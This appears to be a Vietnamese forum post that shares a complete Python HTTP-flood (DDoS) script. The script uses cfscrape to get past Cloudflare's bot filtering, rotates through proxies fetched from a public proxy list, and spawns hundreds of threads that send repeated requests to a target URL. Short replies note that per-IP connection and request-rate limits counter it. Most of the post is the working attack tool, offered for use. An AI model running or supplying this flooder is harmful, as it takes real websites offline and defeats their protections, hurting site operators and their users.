1.Cơ chế hoạt động:
imgur.com
2.Cơ chế vượt cản lọc:
3.Thư viện sử dụng
cloudflare scrape > python
cloudscraper
cloudflare-bypass
Tạo sesion
Đẩy request
Code:
DDos Defen:
Thực ra để chống dạng này không khó đâu
limit connection per ip và limit request per sec.Có thể thực hiện trên iptables hoặc 1 cái waf nào đó hay 1 cái script nho nhỏ !
https://google.com/?q=limit connections per ip
imgur.com
Discover the magic of the internet at Imgur, a community powered entertainment destination. Lift your spirits with funny jokes, trending memes, entertaining gifs, inspiring stories, viral videos, and so much more from users.
imgur.com
cloudflare scrape > python
cloudscraper
cloudflare-bypass
Tạo sesion
Mã:
s = cfscrape.create_scraper()
s.proxies = {}
s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
Mã:
s.get(url)
Mã:
import cfscrape
import os
import random
import time
import requests
import threading
from colorama import Fore
print(Fore.YELLOW + """
____ _____ ______ ______ _ ____ ____
/ ___| ___| | __ ) \ / / _ \ / \ / ___/ ___|
| | | |_ | _ \\ V /| |_) / _ \ \___ \___ \ \r
| |___| _| | |_) || | | __/ ___ \ ___) |__) |
\____|_| |____/ |_| |_| /_/ \_\____/____/
""")
print("Code By GogoZin -2019/8/12")
def opth():
for a in range(thr):
x = threading.Thread(target=atk)
x.start()
print("Threads " + str(a+1) + " Created ")
print(Fore.RED + "Wait A Few Seconds For Threads Ready To Attack ...")
time.sleep(10)
input(Fore.CYAN + "Press Enter To Launch Attack !")
global oo
oo = True
oo = False
def main():
global url
global list
global pprr
global thr
global per
url = str(input(Fore.GREEN + "Url : " + Fore.WHITE))
ssl = str(input(Fore.GREEN + "Enable SSL Mode ? (y/n) : " + Fore.WHITE))
ge = str(input(Fore.GREEN + "Get New Proxies List ? (y/n) : " + Fore.WHITE))
if ge =='y':
if ssl == 'y':
rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=yes&timeout=2000') #Code By GogoZin
with open('proxies.txt','wb') as fp:
fp.write(rsp.content)
print(Fore.CYAN + "Sucess Get Https Proxies List !")
else:
rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=all&timeout=1000') #Code By GogoZin
with open('proxies.txt','wb') as fp:
fp.write(rsp.content)
print(Fore.CYAN + "Sucess Get Http Proxies List !")
else:
pass
list = str(input(Fore.GREEN + "List (proxies.txt) : " + Fore.WHITE))
pprr = open(list).readlines()
print(Fore.GREEN + "Proxies Count : " + Fore.WHITE + "%d" %len(pprr))
thr = int(input(Fore.GREEN + "Threads (1-400 Default Is 300) : " + Fore.WHITE))
per = int(input(Fore.GREEN + "CC.Power (1-100 Default Is 70) : " + Fore.WHITE))
opth()
def atk():
pprr = open(list).readlines()
proxy = random.choice(pprr).strip().split(":")
s = cfscrape.create_scraper()
s.proxies = {}
s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
s.proxies['https'] = 'https://'+str(proxy[0])+":"+str(proxy[1])
time.sleep(5)
while True:
while oo:
try:
s.get(url)
print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+ Fore.CYAN + " From~# " +Fore.WHITE+ str(proxy[0])+":"+str(proxy[1]))
try:
for g in range(per):
s.get(url)
print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+Fore.CYAN + " From~# " +Fore.WHITE + str(proxy[0])+":"+str(proxy[1])) #code By GogoZin
s.close()
except:
s.close()
except:
s.close()
print(Fore.RED + "Can't Connect To Proxies Or Url !")
if __name__ == "__main__":
main()Thực ra để chống dạng này không khó đâu
limit connection per ip và limit request per sec.Có thể thực hiện trên iptables hoặc 1 cái waf nào đó hay 1 cái script nho nhỏ !
https://google.com/?q=limit connections per ip
